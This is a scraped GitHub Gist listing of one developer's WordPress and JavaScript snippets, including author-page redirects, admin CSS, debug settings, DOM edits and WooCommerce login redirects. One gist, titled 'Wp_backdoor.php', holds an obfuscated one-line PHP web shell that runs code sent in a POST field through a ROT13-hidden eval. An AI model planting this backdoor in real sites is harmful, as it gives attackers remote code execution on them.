Skip to content

Instantly share code, notes, and snippets.

View mrfoxtalbot's full-sized avatar

Alvaro Gómez Velasco mrfoxtalbot

View GitHub Profile
@mrfoxtalbot
mrfoxtalbot / Disable-Author-Pages-WordPress.php
Last active August 25, 2021 19:04
Disable Author Pages WordPress
<?php
header("HTTP/1.1 301 Moved Permanently");
header("Location: /");
?>
// Create a author.php file in your theme and add the above code
// Date Archives can be disabled with this same method but creating a date.php file
// Source: http://blog.futtta.be/2015/03/03/quick-tip-disabling-wordpress-author-pages/
@mrfoxtalbot
mrfoxtalbot / single.php
Last active May 10, 2021 15:09
Error in lines 31 & 53
// Warning: Illegal string offset 'alt' in /usr/home/josemorraja.com/web/wp-content/themes/josemorraja-v4/single.php on line 53
// Warning: Illegal string offset 'id' in /usr/home/josemorraja.com/web/wp-content/themes/josemorraja-v4/single.php on line 31
<?php get_template_part('parts/header'); ?>
<div class="container">
<div class="row">
@mrfoxtalbot
mrfoxtalbot / wp-admin-custom-styles.php
Last active April 30, 2021 06:22
Insert custom CSS styles in the WordPress Admin wp-admin
add_action('admin_head', 'mrfox_custom_admin_styles');
function mrfox_custom_admin_styles() {
echo '<style>
.foo {
color:red;
}
</style>';
}
@mrfoxtalbot
mrfoxtalbot / Wp_backdoor.php
Last active April 9, 2020 14:38
WordPress backdoor
<?php ($WordPress = $_POST['62025602']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($WordPress)', 'add'); ?>
@mrfoxtalbot
mrfoxtalbot / wp-debug.php
Last active December 3, 2019 09:23
WordPress Debugging tips
<?php
// Enable WP_DEBUG mode
define( 'WP_DEBUG', true );
// Enable Debug logging to the /wp-content/debug.log file
define( 'WP_DEBUG_LOG', true );
// Disable display of errors and warnings
define( 'WP_DEBUG_DISPLAY', false );
@mrfoxtalbot
mrfoxtalbot / jsaddinlinecss.js
Created November 25, 2019 14:29
JS Add inline CSS styles
// Selecting element
var elem = document.getElementById("intro");
// Appling styles on element, not camelCase on attributes
elem.style.color = "blue";
elem.style.fontSize = "18px";
elem.style.fontWeight = "bold";
@mrfoxtalbot
mrfoxtalbot / jsaddcontent.js
Created September 14, 2019 16:50
JS Add or replace content on one or several HTML elements using a CSS selector
document.querySelector('.haiku').innerText = ('This is a Haiku')
// This will replace the content inside the first element that matches that CSS selector.
document.querySelectorAll('.haiku')[2].innerText = ('This is a Haiku')
// This will add a (.haiku) to the third element that matches that CSS selector.
document.querySelectorAll('.haiku').forEach(function(i){i.innerText = ('This is a Haiku')})
// This will replace the content of all elements that match that CSS selector
//There are ways to add content before and after the existing content instead of replacing it
@mrfoxtalbot
mrfoxtalbot / jsaddname.js
Last active September 14, 2019 16:48
JS Add a classname to one or various element using a CSS selector
document.querySelector('.foo').classList.add('mystyle')
// This will add a classname (.mystyle) to the first element that matches that CSS selector (.foo)
document.querySelectorAll('.foo')[2].classList.add('mystyle')
// This will add a classname (.mystyle) to the third element that matches that CSS selector.
document.querySelectorAll('.foo').forEach(function(i){i.classList.add('mystyle')})
// This will add a classname (.mystyle) to ALL elements that match that CSS selector.
@mrfoxtalbot
mrfoxtalbot / woocommerce-custom-login-redirect.php
Created May 30, 2019 20:34
Role based Custom Redirects for WooCommerce login
<?php
/**
* Redirect users to custom URL based on their role after login
*
* @param string $redirect
* @param object $user
* @return string
*/
function wc_custom_user_redirect( $redirect, $user ) {
// Get the first of all the roles assigned to the user
function mrfx_remove_post_dates() {
add_filter('the_date', '__return_false');
add_filter('the_time', '__return_false');
add_filter('the_modified_date', '__return_false');
add_filter('get_the_date', '__return_false');
add_filter('get_the_time', '__return_false');
add_filter('get_the_modified_date', '__return_false');
}
add_action('loop_start', 'mrfx_remove_post_dates');